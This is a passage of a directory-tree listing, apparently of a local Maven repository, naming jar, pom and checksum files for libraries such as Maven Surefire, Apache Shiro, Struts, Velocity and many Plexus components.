maven-reporting-api-3.0.jar │ │ │ │ │ │ │ │ ├── maven-reporting-api-3.0.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-reporting-api-3.0.pom │ │ │ │ │ │ │ │ └── maven-reporting-api-3.0.pom.sha1 │ │ │ │ │ │ │ └── maven-reporting-exec/ │ │ │ │ │ │ │ └── 1.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-reporting-exec-1.1.jar │ │ │ │ │ │ │ ├── maven-reporting-exec-1.1.jar.sha1 │ │ │ │ │ │ │ ├── maven-reporting-exec-1.1.pom │ │ │ │ │ │ │ └── maven-reporting-exec-1.1.pom.sha1 │ │ │ │ │ │ ├── shared/ │ │ │ │ │ │ │ ├── maven-filtering/ │ │ │ │ │ │ │ │ ├── 1.0-beta-2/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-filtering-1.0-beta-2.jar │ │ │ │ │ │ │ │ │ ├── maven-filtering-1.0-beta-2.jar.sha1 │ │ │ │ │ │ │ │ │ ├── maven-filtering-1.0-beta-2.pom │ │ │ │ │ │ │ │ │ └── maven-filtering-1.0-beta-2.pom.sha1 │ │ │ │ │ │ │ │ └── 1.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-filtering-1.1.jar │ │ │ │ │ │ │ │ ├── maven-filtering-1.1.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-filtering-1.1.pom │ │ │ │ │ │ │ │ └── maven-filtering-1.1.pom.sha1 │ │ │ │ │ │ │ ├── maven-shared-components/ │ │ │ │ │ │ │ │ ├── 10/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-shared-components-10.pom │ │ │ │ │ │ │ │ │ └── maven-shared-components-10.pom.sha1 │ │ │ │ │ │ │ │ ├── 15/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-shared-components-15.pom │ │ │ │ │ │ │ │ │ └── maven-shared-components-15.pom.sha1 │ │ │ │ │ │ │ │ ├── 16/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-shared-components-16.pom │ │ │ │ │ │ │ │ │ └── maven-shared-components-16.pom.sha1 │ │ │ │ │ │ │ │ ├── 17/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-shared-components-17.pom │ │ │ │ │ │ │ │ │ └── maven-shared-components-17.pom.sha1 │ │ │ │ │ │ │ │ ├── 18/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-shared-components-18.pom │ │ │ │ │ │ │ │ │ └── maven-shared-components-18.pom.sha1 │ │ │ │ │ │ │ │ ├── 19/ │ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ │ ├── maven-shared-components-19.pom │ │ │ │ │ │ │ │ │ └── maven-shared-components-19.pom.sha1 │ │ │ │ │ │ │ │ └── 20/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-shared-components-20.pom │ │ │ │ │ │ │ │ └── maven-shared-components-20.pom.sha1 │ │ │ │ │ │ │ ├── maven-shared-incremental/ │ │ │ │ │ │ │ │ └── 1.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-shared-incremental-1.1.jar │ │ │ │ │ │ │ │ ├── maven-shared-incremental-1.1.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-shared-incremental-1.1.pom │ │ │ │ │ │ │ │ └── maven-shared-incremental-1.1.pom.sha1 │ │ │ │ │ │ │ └── maven-shared-utils/ │ │ │ │ │ │ │ ├── 0.1/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-shared-utils-0.1.pom │ │ │ │ │ │ │ │ └── maven-shared-utils-0.1.pom.sha1 │ │ │ │ │ │ │ ├── 0.3/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-shared-utils-0.3.jar │ │ │ │ │ │ │ │ ├── maven-shared-utils-0.3.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-shared-utils-0.3.pom │ │ │ │ │ │ │ │ └── maven-shared-utils-0.3.pom.sha1 │ │ │ │ │ │ │ └── 0.7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── maven-shared-utils-0.7.jar │ │ │ │ │ │ │ ├── maven-shared-utils-0.7.jar.sha1 │ │ │ │ │ │ │ ├── maven-shared-utils-0.7.pom │ │ │ │ │ │ │ └── maven-shared-utils-0.7.pom.sha1 │ │ │ │ │ │ ├── surefire/ │ │ │ │ │ │ │ ├── maven-surefire-common/ │ │ │ │ │ │ │ │ └── 2.17/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── maven-surefire-common-2.17.jar │ │ │ │ │ │ │ │ ├── maven-surefire-common-2.17.jar.sha1 │ │ │ │ │ │ │ │ ├── maven-surefire-common-2.17.pom │ │ │ │ │ │ │ │ └── maven-surefire-common-2.17.pom.sha1 │ │ │ │ │ │ │ ├── surefire/ │ │ │ │ │ │ │ │ └── 2.17/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── surefire-2.17.pom │ │ │ │ │ │ │ │ └── surefire-2.17.pom.sha1 │ │ │ │ │ │ │ ├── surefire-api/ │ │ │ │ │ │ │ │ └── 2.17/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── surefire-api-2.17.jar │ │ │ │ │ │ │ │ ├── surefire-api-2.17.jar.sha1 │ │ │ │ │ │ │ │ ├── surefire-api-2.17.pom │ │ │ │ │ │ │ │ └── surefire-api-2.17.pom.sha1 │ │ │ │ │ │ │ └── surefire-booter/ │ │ │ │ │ │ │ └── 2.17/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── surefire-booter-2.17.jar │ │ │ │ │ │ │ ├── surefire-booter-2.17.jar.sha1 │ │ │ │ │ │ │ ├── surefire-booter-2.17.pom │ │ │ │ │ │ │ └── surefire-booter-2.17.pom.sha1 │ │ │ │ │ │ └── wagon/ │ │ │ │ │ │ ├── wagon/ │ │ │ │ │ │ │ └── 1.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── wagon-1.0.pom │ │ │ │ │ │ │ └── wagon-1.0.pom.sha1 │ │ │ │ │ │ └── wagon-provider-api/ │ │ │ │ │ │ └── 1.0/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── wagon-provider-api-1.0.jar │ │ │ │ │ │ ├── wagon-provider-api-1.0.jar.sha1 │ │ │ │ │ │ ├── wagon-provider-api-1.0.pom │ │ │ │ │ │ └── wagon-provider-api-1.0.pom.sha1 │ │ │ │ │ ├── poi/ │ │ │ │ │ │ └── poi/ │ │ │ │ │ │ └── 3.15/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── poi-3.15.jar │ │ │ │ │ │ ├── poi-3.15.jar.sha1 │ │ │ │ │ │ ├── poi-3.15.pom │ │ │ │ │ │ └── poi-3.15.pom.sha1 │ │ │ │ │ ├── shiro/ │ │ │ │ │ │ ├── shiro-core/ │ │ │ │ │ │ │ ├── 1.2.2/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── shiro-core-1.2.2.jar │ │ │ │ │ │ │ │ ├── shiro-core-1.2.2.jar.sha1 │ │ │ │ │ │ │ │ ├── shiro-core-1.2.2.pom │ │ │ │ │ │ │ │ └── shiro-core-1.2.2.pom.sha1 │ │ │ │ │ │ │ └── 1.2.3/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── shiro-core-1.2.3.jar │ │ │ │ │ │ │ ├── shiro-core-1.2.3.jar.sha1 │ │ │ │ │ │ │ ├── shiro-core-1.2.3.pom │ │ │ │ │ │ │ └── shiro-core-1.2.3.pom.sha1 │ │ │ │ │ │ ├── shiro-root/ │ │ │ │ │ │ │ ├── 1.2.2/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── shiro-root-1.2.2.pom │ │ │ │ │ │ │ │ └── shiro-root-1.2.2.pom.sha1 │ │ │ │ │ │ │ └── 1.2.3/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── shiro-root-1.2.3.pom │ │ │ │ │ │ │ └── shiro-root-1.2.3.pom.sha1 │ │ │ │ │ │ ├── shiro-spring/ │ │ │ │ │ │ │ └── 1.2.3/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── shiro-spring-1.2.3.jar │ │ │ │ │ │ │ ├── shiro-spring-1.2.3.jar.sha1 │ │ │ │ │ │ │ ├── shiro-spring-1.2.3.pom │ │ │ │ │ │ │ └── shiro-spring-1.2.3.pom.sha1 │ │ │ │ │ │ └── shiro-web/ │ │ │ │ │ │ └── 1.2.3/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── shiro-web-1.2.3.jar │ │ │ │ │ │ ├── shiro-web-1.2.3.jar.sha1 │ │ │ │ │ │ ├── shiro-web-1.2.3.pom │ │ │ │ │ │ └── shiro-web-1.2.3.pom.sha1 │ │ │ │ │ ├── struts/ │ │ │ │ │ │ ├── struts-core/ │ │ │ │ │ │ │ └── 1.3.8/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── struts-core-1.3.8.jar │ │ │ │ │ │ │ ├── struts-core-1.3.8.jar.sha1 │ │ │ │ │ │ │ ├── struts-core-1.3.8.pom │ │ │ │ │ │ │ └── struts-core-1.3.8.pom.sha1 │ │ │ │ │ │ ├── struts-master/ │ │ │ │ │ │ │ └── 4/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── struts-master-4.pom │ │ │ │ │ │ │ └── struts-master-4.pom.sha1 │ │ │ │ │ │ ├── struts-parent/ │ │ │ │ │ │ │ └── 1.3.8/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── struts-parent-1.3.8.pom │ │ │ │ │ │ │ └── struts-parent-1.3.8.pom.sha1 │ │ │ │ │ │ ├── struts-taglib/ │ │ │ │ │ │ │ └── 1.3.8/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── struts-taglib-1.3.8.jar │ │ │ │ │ │ │ ├── struts-taglib-1.3.8.jar.sha1 │ │ │ │ │ │ │ ├── struts-taglib-1.3.8.pom │ │ │ │ │ │ │ └── struts-taglib-1.3.8.pom.sha1 │ │ │ │ │ │ └── struts-tiles/ │ │ │ │ │ │ └── 1.3.8/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── struts-tiles-1.3.8.jar │ │ │ │ │ │ ├── struts-tiles-1.3.8.jar.sha1 │ │ │ │ │ │ ├── struts-tiles-1.3.8.pom │ │ │ │ │ │ └── struts-tiles-1.3.8.pom.sha1 │ │ │ │ │ ├── velocity/ │ │ │ │ │ │ ├── velocity/ │ │ │ │ │ │ │ ├── 1.5/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── velocity-1.5.jar │ │ │ │ │ │ │ │ ├── velocity-1.5.jar.sha1 │ │ │ │ │ │ │ │ ├── velocity-1.5.pom │ │ │ │ │ │ │ │ └── velocity-1.5.pom.sha1 │ │ │ │ │ │ │ └── 1.6.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── velocity-1.6.2.pom │ │ │ │ │ │ │ └── velocity-1.6.2.pom.sha1 │ │ │ │ │ │ └── velocity-tools/ │ │ │ │ │ │ └── 2.0/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── velocity-tools-2.0.jar │ │ │ │ │ │ ├── velocity-tools-2.0.jar.sha1 │ │ │ │ │ │ ├── velocity-tools-2.0.pom │ │ │ │ │ │ └── velocity-tools-2.0.pom.sha1 │ │ │ │ │ └── xbean/ │ │ │ │ │ ├── xbean/ │ │ │ │ │ │ └── 3.4/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── xbean-3.4.pom │ │ │ │ │ │ └── xbean-3.4.pom.sha1 │ │ │ │ │ └── xbean-reflect/ │ │ │ │ │ └── 3.4/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── xbean-reflect-3.4.jar │ │ │ │ │ ├── xbean-reflect-3.4.jar.sha1 │ │ │ │ │ ├── xbean-reflect-3.4.pom │ │ │ │ │ └── xbean-reflect-3.4.pom.sha1 │ │ │ │ ├── aspectj/ │ │ │ │ │ └── aspectjweaver/ │ │ │ │ │ └── 1.8.1/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── aspectjweaver-1.8.1.jar │ │ │ │ │ ├── aspectjweaver-1.8.1.jar.sha1 │ │ │ │ │ ├── aspectjweaver-1.8.1.pom │ │ │ │ │ └── aspectjweaver-1.8.1.pom.sha1 │ │ │ │ ├── beanshell/ │ │ │ │ │ ├── beanshell/ │ │ │ │ │ │ └── 2.0b4/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── beanshell-2.0b4.pom │ │ │ │ │ │ └── beanshell-2.0b4.pom.sha1 │ │ │ │ │ └── bsh/ │ │ │ │ │ └── 2.0b4/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── bsh-2.0b4.jar │ │ │ │ │ ├── bsh-2.0b4.jar.sha1 │ │ │ │ │ ├── bsh-2.0b4.pom │ │ │ │ │ └── bsh-2.0b4.pom.sha1 │ │ │ │ ├── codehaus/ │ │ │ │ │ └── plexus/ │ │ │ │ │ ├── plexus/ │ │ │ │ │ │ ├── 1.0.10/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-1.0.10.pom │ │ │ │ │ │ │ └── plexus-1.0.10.pom.sha1 │ │ │ │ │ │ ├── 1.0.11/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-1.0.11.pom │ │ │ │ │ │ │ └── plexus-1.0.11.pom.sha1 │ │ │ │ │ │ ├── 1.0.12/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-1.0.12.pom │ │ │ │ │ │ │ └── plexus-1.0.12.pom.sha1 │ │ │ │ │ │ ├── 1.0.4/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-1.0.4.pom │ │ │ │ │ │ │ └── plexus-1.0.4.pom.sha1 │ │ │ │ │ │ ├── 1.0.8/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-1.0.8.pom │ │ │ │ │ │ │ └── plexus-1.0.8.pom.sha1 │ │ │ │ │ │ ├── 1.0.9/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-1.0.9.pom │ │ │ │ │ │ │ └── plexus-1.0.9.pom.sha1 │ │ │ │ │ │ ├── 2.0.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-2.0.2.pom │ │ │ │ │ │ │ └── plexus-2.0.2.pom.sha1 │ │ │ │ │ │ ├── 2.0.3/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-2.0.3.pom │ │ │ │ │ │ │ └── plexus-2.0.3.pom.sha1 │ │ │ │ │ │ ├── 2.0.5/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-2.0.5.pom │ │ │ │ │ │ │ └── plexus-2.0.5.pom.sha1 │ │ │ │ │ │ ├── 2.0.6/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-2.0.6.pom │ │ │ │ │ │ │ └── plexus-2.0.6.pom.sha1 │ │ │ │ │ │ ├── 2.0.7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-2.0.7.pom │ │ │ │ │ │ │ └── plexus-2.0.7.pom.sha1 │ │ │ │ │ │ ├── 3.0.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-3.0.1.pom │ │ │ │ │ │ │ └── plexus-3.0.1.pom.sha1 │ │ │ │ │ │ ├── 3.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-3.1.pom │ │ │ │ │ │ │ └── plexus-3.1.pom.sha1 │ │ │ │ │ │ ├── 3.3/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-3.3.pom │ │ │ │ │ │ │ └── plexus-3.3.pom.sha1 │ │ │ │ │ │ └── 3.3.1/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-3.3.1.pom │ │ │ │ │ │ └── plexus-3.3.1.pom.sha1 │ │ │ │ │ ├── plexus-archiver/ │ │ │ │ │ │ ├── 1.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-archiver-1.0.jar │ │ │ │ │ │ │ ├── plexus-archiver-1.0.jar.sha1 │ │ │ │ │ │ │ ├── plexus-archiver-1.0.pom │ │ │ │ │ │ │ └── plexus-archiver-1.0.pom.sha1 │ │ │ │ │ │ ├── 2.0.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-archiver-2.0.1.pom │ │ │ │ │ │ │ └── plexus-archiver-2.0.1.pom.sha1 │ │ │ │ │ │ └── 2.1/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-archiver-2.1.jar │ │ │ │ │ │ ├── plexus-archiver-2.1.jar.sha1 │ │ │ │ │ │ ├── plexus-archiver-2.1.pom │ │ │ │ │ │ └── plexus-archiver-2.1.pom.sha1 │ │ │ │ │ ├── plexus-classworlds/ │ │ │ │ │ │ ├── 1.2-alpha-7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-classworlds-1.2-alpha-7.pom │ │ │ │ │ │ │ └── plexus-classworlds-1.2-alpha-7.pom.sha1 │ │ │ │ │ │ ├── 1.2-alpha-9/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-classworlds-1.2-alpha-9.pom │ │ │ │ │ │ │ └── plexus-classworlds-1.2-alpha-9.pom.sha1 │ │ │ │ │ │ ├── 2.2.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-classworlds-2.2.2.jar │ │ │ │ │ │ │ ├── plexus-classworlds-2.2.2.jar.sha1 │ │ │ │ │ │ │ ├── plexus-classworlds-2.2.2.pom │ │ │ │ │ │ │ └── plexus-classworlds-2.2.2.pom.sha1 │ │ │ │ │ │ └── 2.2.3/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-classworlds-2.2.3.jar │ │ │ │ │ │ ├── plexus-classworlds-2.2.3.jar.sha1 │ │ │ │ │ │ ├── plexus-classworlds-2.2.3.pom │ │ │ │ │ │ └── plexus-classworlds-2.2.3.pom.sha1 │ │ │ │ │ ├── plexus-compiler/ │ │ │ │ │ │ └── 2.5/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-compiler-2.5.pom │ │ │ │ │ │ └── plexus-compiler-2.5.pom.sha1 │ │ │ │ │ ├── plexus-compiler-api/ │ │ │ │ │ │ └── 2.5/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-compiler-api-2.5.jar │ │ │ │ │ │ ├── plexus-compiler-api-2.5.jar.sha1 │ │ │ │ │ │ ├── plexus-compiler-api-2.5.pom │ │ │ │ │ │ └── plexus-compiler-api-2.5.pom.sha1 │ │ │ │ │ ├── plexus-compiler-javac/ │ │ │ │ │ │ └── 2.5/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-compiler-javac-2.5.jar │ │ │ │ │ │ ├── plexus-compiler-javac-2.5.jar.sha1 │ │ │ │ │ │ ├── plexus-compiler-javac-2.5.pom │ │ │ │ │ │ └── plexus-compiler-javac-2.5.pom.sha1 │ │ │ │ │ ├── plexus-compiler-manager/ │ │ │ │ │ │ └── 2.5/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-compiler-manager-2.5.jar │ │ │ │ │ │ ├── plexus-compiler-manager-2.5.jar.sha1 │ │ │ │ │ │ ├── plexus-compiler-manager-2.5.pom │ │ │ │ │ │ └── plexus-compiler-manager-2.5.pom.sha1 │ │ │ │ │ ├── plexus-compilers/ │ │ │ │ │ │ └── 2.5/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-compilers-2.5.pom │ │ │ │ │ │ └── plexus-compilers-2.5.pom.sha1 │ │ │ │ │ ├── plexus-component-annotations/ │ │ │ │ │ │ └── 1.5.5/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-component-annotations-1.5.5.jar │ │ │ │ │ │ ├── plexus-component-annotations-1.5.5.jar.sha1 │ │ │ │ │ │ ├── plexus-component-annotations-1.5.5.pom │ │ │ │ │ │ └── plexus-component-annotations-1.5.5.pom.sha1 │ │ │ │ │ ├── plexus-components/ │ │ │ │ │ │ ├── 1.1.12/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-components-1.1.12.pom │ │ │ │ │ │ │ └── plexus-components-1.1.12.pom.sha1 │ │ │ │ │ │ ├── 1.1.14/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-components-1.1.14.pom │ │ │ │ │ │ │ └── plexus-components-1.1.14.pom.sha1 │ │ │ │ │ │ ├── 1.1.15/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-components-1.1.15.pom │ │ │ │ │ │ │ └── plexus-components-1.1.15.pom.sha1 │ │ │ │ │ │ ├── 1.1.17/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-components-1.1.17.pom │ │ │ │ │ │ │ └── plexus-components-1.1.17.pom.sha1 │ │ │ │ │ │ ├── 1.1.18/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-components-1.1.18.pom │ │ │ │ │ │ │ └── plexus-components-1.1.18.pom.sha1 │ │ │ │ │ │ ├── 1.1.19/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-components-1.1.19.pom │ │ │ │ │ │ │ └── plexus-components-1.1.19.pom.sha1 │ │ │ │ │ │ ├── 1.1.7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-components-1.1.7.pom │ │ │ │ │ │ │ └── plexus-components-1.1.7.pom.sha1 │ │ │ │ │ │ └── 1.3.1/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-components-1.3.1.pom │ │ │ │ │ │ └── plexus-components-1.3.1.pom.sha1 │ │ │ │ │ ├── plexus-container-default/ │ │ │ │ │ │ ├── 1.0-alpha-20/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-container-default-1.0-alpha-20.pom │ │ │ │ │ │ │ └── plexus-container-default-1.0-alpha-20.pom.sha1 │ │ │ │ │ │ ├── 1.0-alpha-30/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-container-default-1.0-alpha-30.jar │ │ │ │ │ │ │ ├── plexus-container-default-1.0-alpha-30.jar.sha1 │ │ │ │ │ │ │ ├── plexus-container-default-1.0-alpha-30.pom │ │ │ │ │ │ │ └── plexus-container-default-1.0-alpha-30.pom.sha1 │ │ │ │ │ │ ├── 1.0-alpha-8/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-container-default-1.0-alpha-8.pom │ │ │ │ │ │ │ └── plexus-container-default-1.0-alpha-8.pom.sha1 │ │ │ │ │ │ ├── 1.0-alpha-9/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-container-default-1.0-alpha-9.pom │ │ │ │ │ │ │ └── plexus-container-default-1.0-alpha-9.pom.sha1 │ │ │ │ │ │ ├── 1.0-alpha-9-stable-1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-container-default-1.0-alpha-9-stable-1.jar │ │ │ │ │ │ │ ├── plexus-container-default-1.0-alpha-9-stable-1.jar.sha1 │ │ │ │ │ │ │ ├── plexus-container-default-1.0-alpha-9-stable-1.pom │ │ │ │ │ │ │ └── plexus-container-default-1.0-alpha-9-stable-1.pom.sha1 │ │ │ │ │ │ └── 1.5.5/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-container-default-1.5.5.jar │ │ │ │ │ │ ├── plexus-container-default-1.5.5.jar.sha1 │ │ │ │ │ │ ├── plexus-container-default-1.5.5.pom │ │ │ │ │ │ └── plexus-container-default-1.5.5.pom.sha1 │ │ │ │ │ ├── plexus-containers/ │ │ │ │ │ │ ├── 1.0-alpha-20/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-containers-1.0-alpha-20.pom │ │ │ │ │ │ │ └── plexus-containers-1.0-alpha-20.pom.sha1 │ │ │ │ │ │ ├── 1.0-alpha-30/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-containers-1.0-alpha-30.pom │ │ │ │ │ │ │ └── plexus-containers-1.0-alpha-30.pom.sha1 │ │ │ │ │ │ ├── 1.0.3/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-containers-1.0.3.pom │ │ │ │ │ │ │ └── plexus-containers-1.0.3.pom.sha1 │ │ │ │ │ │ └── 1.5.5/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-containers-1.5.5.pom │ │ │ │ │ │ └── plexus-containers-1.5.5.pom.sha1 │ │ │ │ │ ├── plexus-digest/ │ │ │ │ │ │ └── 1.0/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-digest-1.0.jar │ │ │ │ │ │ ├── plexus-digest-1.0.jar.sha1 │ │ │ │ │ │ ├── plexus-digest-1.0.pom │ │ │ │ │ │ └── plexus-digest-1.0.pom.sha1 │ │ │ │ │ ├── plexus-i18n/ │ │ │ │ │ │ └── 1.0-beta-7/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-i18n-1.0-beta-7.jar │ │ │ │ │ │ ├── plexus-i18n-1.0-beta-7.jar.sha1 │ │ │ │ │ │ ├── plexus-i18n-1.0-beta-7.pom │ │ │ │ │ │ └── plexus-i18n-1.0-beta-7.pom.sha1 │ │ │ │ │ ├── plexus-interactivity-api/ │ │ │ │ │ │ └── 1.0-alpha-4/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-interactivity-api-1.0-alpha-4.jar │ │ │ │ │ │ ├── plexus-interactivity-api-1.0-alpha-4.jar.sha1 │ │ │ │ │ │ ├── plexus-interactivity-api-1.0-alpha-4.pom │ │ │ │ │ │ └── plexus-interactivity-api-1.0-alpha-4.pom.sha1 │ │ │ │ │ ├── plexus-interpolation/ │ │ │ │ │ │ ├── 1.11/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-interpolation-1.11.jar │ │ │ │ │ │ │ ├── plexus-interpolation-1.11.jar.sha1 │ │ │ │ │ │ │ ├── plexus-interpolation-1.11.pom │ │ │ │ │ │ │ └── plexus-interpolation-1.11.pom.sha1 │ │ │ │ │ │ ├── 1.12/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-interpolation-1.12.pom │ │ │ │ │ │ │ └── plexus-interpolation-1.12.pom.sha1 │ │ │ │ │ │ ├── 1.13/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-interpolation-1.13.jar │ │ │ │ │ │ │ ├── plexus-interpolation-1.13.jar.sha1 │ │ │ │ │ │ │ ├── plexus-interpolation-1.13.pom │ │ │ │ │ │ │ └── plexus-interpolation-1.13.pom.sha1 │ │ │ │ │ │ ├── 1.14/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-interpolation-1.14.jar │ │ │ │ │ │ │ ├── plexus-interpolation-1.14.jar.sha1 │ │ │ │ │ │ │ ├── plexus-interpolation-1.14.pom │ │ │ │ │ │ │ └── plexus-interpolation-1.14.pom.sha1 │ │ │ │ │ │ ├── 1.15/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-interpolation-1.15.jar │ │ │ │ │ │ │ ├── plexus-interpolation-1.15.jar.sha1 │ │ │ │ │ │ │ ├── plexus-interpolation-1.15.pom │ │ │ │ │ │ │ └── plexus-interpolation-1.15.pom.sha1 │ │ │ │ │ │ └── 1.6/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-interpolation-1.6.pom │ │ │ │ │ │ └── plexus-interpolation-1.6.pom.sha1 │ │ │ │ │ ├── plexus-io/ │ │ │ │ │ │ ├── 1.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-io-1.0.jar │ │ 